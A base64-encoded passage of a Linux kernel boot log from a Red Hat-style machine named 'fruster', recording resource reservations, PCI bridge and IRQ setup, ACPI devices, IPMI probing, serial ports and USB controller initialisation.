MHgwNTAwLTB4MDU3Zl0gaGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBzeXN0ZW0gMDA6MDU6IFtpbyAgMHgxNjRlLTB4MTY0Zl0gaGFzIGJlZW4gcmVzZXJ2 ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MDc6IFtpbyAgMHgw NDU0LTB4MDQ1N10gaGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBzeXN0ZW0gMDA6MDg6IFtpbyAgMHgwMjkwLTB4MDI5Zl0gaGFzIGJlZW4gcmVzZXJ2ZWQK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MGE6IFtpbyAgMHgwNGQw LTB4MDRkMV0gaGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBzeXN0ZW0gMDA6MGU6IFttZW0gMHhmZWQxYzAwMC0weGZlZDFmZmZmXSBoYXMgYmVlbiByZXNl cnZlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHN5c3RlbSAwMDowZTogW21lbSAw eGZlZDEwMDAwLTB4ZmVkMTdmZmZdIGhhcyBiZWVuIHJlc2VydmVkCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogc3lzdGVtIDAwOjBlOiBbbWVtIDB4ZmVkMTgwMDAtMHhmZWQxOGZmZl0g aGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0g MDA6MGU6IFttZW0gMHhmZWQxOTAwMC0weGZlZDE5ZmZmXSBoYXMgYmVlbiByZXNlcnZlZApEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHN5c3RlbSAwMDowZTogW21lbSAweGY4MDAwMDAw LTB4ZmJmZmZmZmZdIGhhcyBiZWVuIHJlc2VydmVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogc3lzdGVtIDAwOjBlOiBbbWVtIDB4ZmVkMjAwMDAtMHhmZWQzZmZmZl0gaGFzIGJlZW4g cmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MGU6IFtt ZW0gMHhmZWQ5MDAwMC0weGZlZDkzZmZmXSBjb3VsZCBub3QgYmUgcmVzZXJ2ZWQKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBzeXN0ZW0gMDA6MGU6IFttZW0gMHhmZWQ0NTAwMC0weGZl ZDhmZmZmXSBoYXMgYmVlbiByZXNlcnZlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IHN5c3RlbSAwMDowZTogW21lbSAweGZmMDAwMDAwLTB4ZmZmZmZmZmZdIGhhcyBiZWVuIHJlc2Vy dmVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc3lzdGVtIDAwOjBlOiBbbWVtIDB4 ZmVlMDAwMDAtMHhmZWVmZmZmZl0gY291bGQgbm90IGJlIHJlc2VydmVkCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogc3lzdGVtIDAwOjBlOiBbbWVtIDB4ZDAwMDAwMDAtMHhkMDAwMGZm Zl0gaGFzIGJlZW4gcmVzZXJ2ZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowMDowMS4wOiBQQ0kgYnJpZGdlIHRvIFtidXMgMDEtMDFdCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDEuMDogUENJIGJyaWRnZSB0byBbYnVzIDAxLTAx XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjAxLjA6ICAgYnJp ZGdlIHdpbmRvdyBbaW8gIDB4ZTAwMC0weGVmZmZdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogcGNpIDAwMDA6MDA6MDEuMDogICBicmlkZ2Ugd2luZG93IFttZW0gMHhlMDAwMDAwMC0w eGYwMGZmZmZmXQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjAx LjA6ICAgYnJpZGdlIHdpbmRvdyBbbWVtIHByZWYgZGlzYWJsZWRdCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDEuMTogUENJIGJyaWRnZSB0byBbYnVzIDAyLTAy XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjAxLjE6IFBDSSBi cmlkZ2UgdG8gW2J1cyAwMi0wMl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowMDowMS4xOiAgIGJyaWRnZSB3aW5kb3cgW2lvICAweGQwMDAtMHhkZmZmXQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjAxLjE6ICAgYnJpZGdlIHdpbmRv dyBbbWVtIDB4ZjA2MDAwMDAtMHhmMDZmZmZmZl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2Vy bmVsOiBwY2kgMDAwMDowMDowMS4xOiAgIGJyaWRnZSB3aW5kb3cgW21lbSBwcmVmIGRpc2FibGVk XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjA2LjA6IFBDSSBi cmlkZ2UgdG8gW2J1cyAwMy0wM10KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowMDowNi4wOiBQQ0kgYnJpZGdlIHRvIFtidXMgMDMtMDNdCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDYuMDogICBicmlkZ2Ugd2luZG93IFtpbyAgZGlz YWJsZWRdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MDYuMDog ICBicmlkZ2Ugd2luZG93IFttZW0gMHhmMDUwMDAwMC0weGYwNWZmZmZmXQpEZWMgIDQgMTg6MTU6 MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjA2LjA6ICAgYnJpZGdlIHdpbmRvdyBbbWVt IDB4Zjc4MDAwMDAtMHhmN2ZmZmZmZiA2NGJpdCBwcmVmXQpEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjA6IFBDSSBicmlkZ2UgdG8gW2J1cyAwNC0wNF0KRGVj ICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYy4wOiBQQ0kgYnJpZGdl IHRvIFtidXMgMDQtMDRdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6 MDA6MWMuMDogICBicmlkZ2Ugd2luZG93IFtpbyAgZGlzYWJsZWRdCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuMDogICBicmlkZ2Ugd2luZG93IFttZW0gZGlz YWJsZWRdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuMDog ICBicmlkZ2Ugd2luZG93IFttZW0gcHJlZiBkaXNhYmxlZF0KRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYy40OiBQQ0kgYnJpZGdlIHRvIFtidXMgMDUtMDVdCkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuNDogUENJIGJyaWRn ZSB0byBbYnVzIDA1LTA1XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAw OjAwOjFjLjQ6ICAgYnJpZGdlIHdpbmRvdyBbaW8gIGRpc2FibGVkXQpEZWMgIDQgMTg6MTU6Mjgg ZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjQ6ICAgYnJpZGdlIHdpbmRvdyBbbWVtIDB4 ZjA0MDAwMDAtMHhmMDRmZmZmZl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowMDoxYy40OiAgIGJyaWRnZSB3aW5kb3cgW21lbSBwcmVmIGRpc2FibGVkXQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjU6IFBDSSBicmlkZ2UgdG8g W2J1cyAwNi0wNl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDox Yy41OiBQQ0kgYnJpZGdlIHRvIFtidXMgMDYtMDZdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogcGNpIDAwMDA6MDA6MWMuNTogICBicmlkZ2Ugd2luZG93IFtpbyAgMHhjMDAwLTB4Y2Zm Zl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDoxYy41OiAgIGJy aWRnZSB3aW5kb3cgW21lbSAweGYwMzAwMDAwLTB4ZjAzZmZmZmZdCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWMuNTogICBicmlkZ2Ugd2luZG93IFttZW0gcHJl ZiBkaXNhYmxlZF0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDox Yy42OiBQQ0kgYnJpZGdlIHRvIFtidXMgMDctMDddCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogcGNpIDAwMDA6MDA6MWMuNjogUENJIGJyaWRnZSB0byBbYnVzIDA3LTA3XQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjY6ICAgYnJpZGdlIHdpbmRv dyBbaW8gIDB4YjAwMC0weGJmZmZdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNp IDAwMDA6MDA6MWMuNjogICBicmlkZ2Ugd2luZG93IFttZW0gMHhmMDIwMDAwMC0weGYwMmZmZmZm XQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjY6ICAgYnJp ZGdlIHdpbmRvdyBbbWVtIHByZWYgZGlzYWJsZWRdCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtl cm5lbDogcGNpIDAwMDA6MDA6MWUuMDogUENJIGJyaWRnZSB0byBbYnVzIDA4LTA4XQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFlLjA6IFBDSSBicmlkZ2UgdG8g W2J1cyAwOC0wOF0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kgMDAwMDowMDox ZS4wOiAgIGJyaWRnZSB3aW5kb3cgW2lvICAweGEwMDAtMHhhZmZmXQpEZWMgIDQgMTg6MTU6Mjgg ZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFlLjA6ICAgYnJpZGdlIHdpbmRvdyBbbWVtIDB4 ZjAxMDAwMDAtMHhmMDFmZmZmZl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBwY2kg MDAwMDowMDoxZS4wOiAgIGJyaWRnZSB3aW5kb3cgW21lbSBwcmVmIGRpc2FibGVkXQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjAxLjA6IFBDSSBJTlQgQSAtPiBH U0kgMTYgKGxldmVsLCBsb3cpIC0+IElSUSAxNgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJu ZWw6IHBjaSAwMDAwOjAwOjAxLjE6IFBDSSBJTlQgQSAtPiBHU0kgMTYgKGxldmVsLCBsb3cpIC0+ IElSUSAxNgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjA2LjA6 IFBDSSBJTlQgQSAtPiBHU0kgMTkgKGxldmVsLCBsb3cpIC0+IElSUSAxOQpEZWMgIDQgMTg6MTU6 MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjA6IFBDSSBJTlQgQSAtPiBHU0kgMTYg KGxldmVsLCBsb3cpIC0+IElSUSAxNgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBj aSAwMDAwOjAwOjFjLjQ6IFBDSSBJTlQgQSAtPiBHU0kgMTYgKGxldmVsLCBsb3cpIC0+IElSUSAx NgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjU6IFBDSSBJ TlQgQiAtPiBHU0kgMTcgKGxldmVsLCBsb3cpIC0+IElSUSAxNwpEZWMgIDQgMTg6MTU6MjggZnJ1 c3RlciBrZXJuZWw6IHBjaSAwMDAwOjAwOjFjLjY6IFBDSSBJTlQgQyAtPiBHU0kgMTggKGxldmVs LCBsb3cpIC0+IElSUSAxOApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IE5FVDogUmVn aXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMgpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IElQIHJvdXRlIGNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNTI0Mjg4IChvcmRlcjogMTAsIDQx OTQzMDQgYnl0ZXMpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogVENQIGVzdGFibGlz aGVkIGhhc2ggdGFibGUgZW50cmllczogNTI0Mjg4IChvcmRlcjogMTEsIDgzODg2MDggYnl0ZXMp CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogVENQIGJpbmQgaGFzaCB0YWJsZSBlbnRy aWVzOiA2NTUzNiAob3JkZXI6IDgsIDEwNDg1NzYgYnl0ZXMpCkRlYyAgNCAxODoxNToyOCBmcnVz dGVyIGtlcm5lbDogVENQOiBIYXNoIHRhYmxlcyBjb25maWd1cmVkIChlc3RhYmxpc2hlZCA1MjQy ODggYmluZCA2NTUzNikKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBUQ1AgcmVubyBy ZWdpc3RlcmVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogTkVUOiBSZWdpc3RlcmVk IHByb3RvY29sIGZhbWlseSAxCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAw MDA6MDA6MTQuMDogUENJIElOVCBBIC0+IEdTSSAxNiAobGV2ZWwsIGxvdykgLT4gSVJRIDE2CkRl YyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MTQuMDogUENJIElOVCBB IGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWEu MDogUENJIElOVCBBIC0+IEdTSSAxNiAobGV2ZWwsIGxvdykgLT4gSVJRIDE2CkRlYyAgNCAxODox NToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWEuMDogUENJIElOVCBBIGRpc2FibGVk CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWQuMDogUENJIElO VCBBIC0+IEdTSSAyMyAobGV2ZWwsIGxvdykgLT4gSVJRIDIzCkRlYyAgNCAxODoxNToyOCBmcnVz dGVyIGtlcm5lbDogcGNpIDAwMDA6MDA6MWQuMDogUENJIElOVCBBIGRpc2FibGVkCkRlYyAgNCAx ODoxNToyOCBmcnVzdGVyIGtlcm5lbDogcGNpIDAwMDA6MDU6MDAuMDogUENJIElOVCBBIC0+IEdT SSAxNiAobGV2ZWwsIGxvdykgLT4gSVJRIDE2CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogcGNpIDAwMDA6MDU6MDAuMDogUENJIElOVCBBIGRpc2FibGVkCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogVHJ5aW5nIHRvIHVucGFjayByb290ZnMgaW1hZ2UgYXMgaW5pdHJhbWZz Li4uCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogRnJlZWluZyBpbml0cmQgbWVtb3J5 OiAxNjk2OWsgZnJlZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBhdWRpdDogaW5p dGlhbGl6aW5nIG5ldGxpbmsgc29ja2V0IChkaXNhYmxlZCkKRGVjICA0IDE4OjE1OjI4IGZydXN0 ZXIga2VybmVsOiB0eXBlPTIwMDAgYXVkaXQoMTM4NjIwOTY1NC4zNTA6MSk6IGluaXRpYWxpemVk CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogSHVnZVRMQiByZWdpc3RlcmVkIDIgTUIg cGFnZSBzaXplLCBwcmUtYWxsb2NhdGVkIDAgcGFnZXMKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBWRlM6IERpc2sgcXVvdGFzIGRxdW90XzYuNS4yCkRlYyAgNCAxODoxNToyOCBmcnVz dGVyIGtlcm5lbDogRHF1b3QtY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA1MTIgKG9yZGVyIDAs IDQwOTYgYnl0ZXMpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogbXNnbW5pIGhhcyBi ZWVuIHNldCB0byAzMjc2OApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGFsZzogTm8g dGVzdCBmb3Igc3Rkcm5nIChrcm5nKQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGtz aWduOiBJbnN0YWxsaW5nIHB1YmxpYyBrZXkgZGF0YQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBr ZXJuZWw6IExvYWRpbmcga2V5cmluZwpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IC0g QWRkZWQgcHVibGljIGtleSAxRUM3MENCODk3NTVFMjMKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiAtIFVzZXIgSUQ6IFJlZCBIYXQsIEluYy4gKEtlcm5lbCBNb2R1bGUgR1BHIGtleSkK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiAtIEFkZGVkIHB1YmxpYyBrZXkgRDRBMjZD OUNDRDA5QkVEQQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IC0gVXNlciBJRDogUmVk IEhhdCBFbnRlcnByaXNlIExpbnV4IERyaXZlciBVcGRhdGUgUHJvZ3JhbSA8c2VjYWxlcnRAcmVk aGF0LmNvbT4KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBCbG9jayBsYXllciBTQ1NJ IGdlbmVyaWMgKGJzZykgZHJpdmVyIHZlcnNpb24gMC40IGxvYWRlZCAobWFqb3IgMjUxKQpEZWMg IDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlvIHNjaGVkdWxlciBub29wIHJlZ2lzdGVyZWQK RGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpbyBzY2hlZHVsZXIgYW50aWNpcGF0b3J5 IHJlZ2lzdGVyZWQKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpbyBzY2hlZHVsZXIg ZGVhZGxpbmUgcmVnaXN0ZXJlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlvIHNj aGVkdWxlciBjZnEgcmVnaXN0ZXJlZCAoZGVmYXVsdCkKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIg a2VybmVsOiBwY2lfaG90cGx1ZzogUENJIEhvdCBQbHVnIFBDSSBDb3JlIHZlcnNpb246IDAuNQpE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHBjaWVocDogUENJIEV4cHJlc3MgSG90IFBs dWcgQ29udHJvbGxlciBEcml2ZXIgdmVyc2lvbjogMC40CkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogYWNwaXBocDogQUNQSSBIb3QgUGx1ZyBQQ0kgQ29udHJvbGxlciBEcml2ZXIgdmVy c2lvbjogMC41CkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogaXBtaSBtZXNzYWdlIGhh bmRsZXIgdmVyc2lvbiAzOS4yCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogSVBNSSBT eXN0ZW0gSW50ZXJmYWNlIGRyaXZlci4KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBp cG1pX3NpOiBBZGRpbmcgZGVmYXVsdC1zcGVjaWZpZWQga2NzIHN0YXRlIG1hY2hpbmUKRGVjICA0 IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpcG1pX3NpOiBUcnlpbmcgZGVmYXVsdC1zcGVjaWZp ZWQga2NzIHN0YXRlIG1hY2hpbmUgYXQgaS9vIGFkZHJlc3MgMHhjYTIsIHNsYXZlIGFkZHJlc3Mg MHgwLCBpcnEgMApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlwbWlfc2k6IEludGVy ZmFjZSBkZXRlY3Rpb24gZmFpbGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogaXBt aV9zaTogQWRkaW5nIGRlZmF1bHQtc3BlY2lmaWVkIHNtaWMgc3RhdGUgbWFjaGluZQpEZWMgIDQg MTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlwbWlfc2k6IFRyeWluZyBkZWZhdWx0LXNwZWNpZmll ZCBzbWljIHN0YXRlIG1hY2hpbmUgYXQgaS9vIGFkZHJlc3MgMHhjYTksIHNsYXZlIGFkZHJlc3Mg MHgwLCBpcnEgMApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlwbWlfc2k6IEludGVy ZmFjZSBkZXRlY3Rpb24gZmFpbGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogaXBt aV9zaTogQWRkaW5nIGRlZmF1bHQtc3BlY2lmaWVkIGJ0IHN0YXRlIG1hY2hpbmUKRGVjICA0IDE4 OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpcG1pX3NpOiBUcnlpbmcgZGVmYXVsdC1zcGVjaWZpZWQg YnQgc3RhdGUgbWFjaGluZSBhdCBpL28gYWRkcmVzcyAweGU0LCBzbGF2ZSBhZGRyZXNzIDB4MCwg aXJxIDAKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBpcG1pX3NpOiBJbnRlcmZhY2Ug ZGV0ZWN0aW9uIGZhaWxlZApEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlwbWlfc2k6 IFVuYWJsZSB0byBmaW5kIGFueSBTeXN0ZW0gSW50ZXJmYWNlKHMpCkRlYyAgNCAxODoxNToyOCBm cnVzdGVyIGtlcm5lbDogaW5wdXQ6IFBvd2VyIEJ1dHRvbiBhcyAvZGV2aWNlcy9MTlhTWVNUTTow MC9MTlhTWUJVUzowMC9QTlAwQzBDOjAwL2lucHV0L2lucHV0MApEZWMgIDQgMTg6MTU6MjggZnJ1 c3RlciBrZXJuZWw6IEFDUEk6IFBvd2VyIEJ1dHRvbiBbUFdSQl0KRGVjICA0IDE4OjE1OjI4IGZy dXN0ZXIga2VybmVsOiBpbnB1dDogUG93ZXIgQnV0dG9uIGFzIC9kZXZpY2VzL0xOWFNZU1RNOjAw L0xOWFBXUkJOOjAwL2lucHV0L2lucHV0MQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6 IEFDUEk6IFBvd2VyIEJ1dHRvbiBbUFdSRl0KRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVs OiBBQ1BJOiBGYW4gW0ZBTjBdIChvZmYpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog QUNQSTogRmFuIFtGQU4xXSAob2ZmKQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFD UEk6IEZhbiBbRkFOMl0gKG9mZikKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBBQ1BJ OiBGYW4gW0ZBTjNdIChvZmYpCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTog RmFuIFtGQU40XSAob2ZmKQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFDUEk6IFNT RFQgMDAwMDAwMDBjZGJhNmE5OCAwMDMwMyAodjAxICBQbVJlZiAgICBBcElzdCAwMDAwMzAwMCBJ TlRMIDIwMDUxMTE3KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IEFDUEk6IFNTRFQg MDAwMDAwMDBjZGJhN2MxOCAwMDExOSAodjAxICBQbVJlZiAgICBBcENzdCAwMDAwMzAwMCBJTlRM IDIwMDUxMTE3KQpEZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IHRoZXJtYWwgTE5YVEhF Uk06MDE6IHJlZ2lzdGVyZWQgYXMgdGhlcm1hbF96b25lMApEZWMgIDQgMTg6MTU6MjggZnJ1c3Rl ciBrZXJuZWw6IEFDUEk6IFRoZXJtYWwgWm9uZSBbVFowMF0gKDI4IEMpCkRlYyAgNCAxODoxNToy OCBmcnVzdGVyIGtlcm5lbDogdGhlcm1hbCBMTlhUSEVSTTowMjogcmVnaXN0ZXJlZCBhcyB0aGVy bWFsX3pvbmUxCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogQUNQSTogVGhlcm1hbCBa b25lIFtUWjAxXSAoMzAgQykKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBFUlNUOiBU YWJsZSBpcyBub3QgZm91bmQhCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogR0hFUzog SEVTVCBpcyBub3QgZW5hYmxlZCEKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBOb24t dm9sYXRpbGUgbWVtb3J5IGRyaXZlciB2MS4zCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5l bDogTGludXggYWdwZ2FydCBpbnRlcmZhY2UgdjAuMTAzCkRlYyAgNCAxODoxNToyOCBmcnVzdGVy IGtlcm5lbDogY3Jhc2ggbWVtb3J5IGRyaXZlcjogdmVyc2lvbiAxLjEKRGVjICA0IDE4OjE1OjI4 IGZydXN0ZXIga2VybmVsOiBTZXJpYWw6IDgyNTAvMTY1NTAgZHJpdmVyLCA0IHBvcnRzLCBJUlEg c2hhcmluZyBlbmFibGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogc2VyaWFsODI1 MDogdHR5UzAgYXQgSS9PIDB4M2Y4IChpcnEgPSA0KSBpcyBhIDE2NTUwQQpEZWMgIDQgMTg6MTU6 MjggZnJ1c3RlciBrZXJuZWw6IDAwOjBkOiB0dHlTMCBhdCBJL08gMHgzZjggKGlycSA9IDQpIGlz IGEgMTY1NTBBCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogYnJkOiBtb2R1bGUgbG9h ZGVkCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogbG9vcDogbW9kdWxlIGxvYWRlZApE ZWMgIDQgMTg6MTU6MjggZnJ1c3RlciBrZXJuZWw6IGlucHV0OiBNYWNpbnRvc2ggbW91c2UgYnV0 dG9uIGVtdWxhdGlvbiBhcyAvZGV2aWNlcy92aXJ0dWFsL2lucHV0L2lucHV0MgpEZWMgIDQgMTg6 MTU6MjggZnJ1c3RlciBrZXJuZWw6IEZpeGVkIE1ESU8gQnVzOiBwcm9iZWQKRGVjICA0IDE4OjE1 OjI4IGZydXN0ZXIga2VybmVsOiBlaGNpX2hjZDogVVNCIDIuMCAnRW5oYW5jZWQnIEhvc3QgQ29u dHJvbGxlciAoRUhDSSkgRHJpdmVyCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDogZWhj aV9oY2QgMDAwMDowMDoxYS4wOiBQQ0kgSU5UIEEgLT4gR1NJIDE2IChsZXZlbCwgbG93KSAtPiBJ UlEgMTYKRGVjICA0IDE4OjE1OjI4IGZydXN0ZXIga2VybmVsOiBlaGNpX2hjZCAwMDAwOjAwOjFh LjA6IEVIQ0kgSG9zdCBDb250cm9sbGVyCkRlYyAgNCAxODoxNToyOCBmcnVzdGVyIGtlcm5lbDog 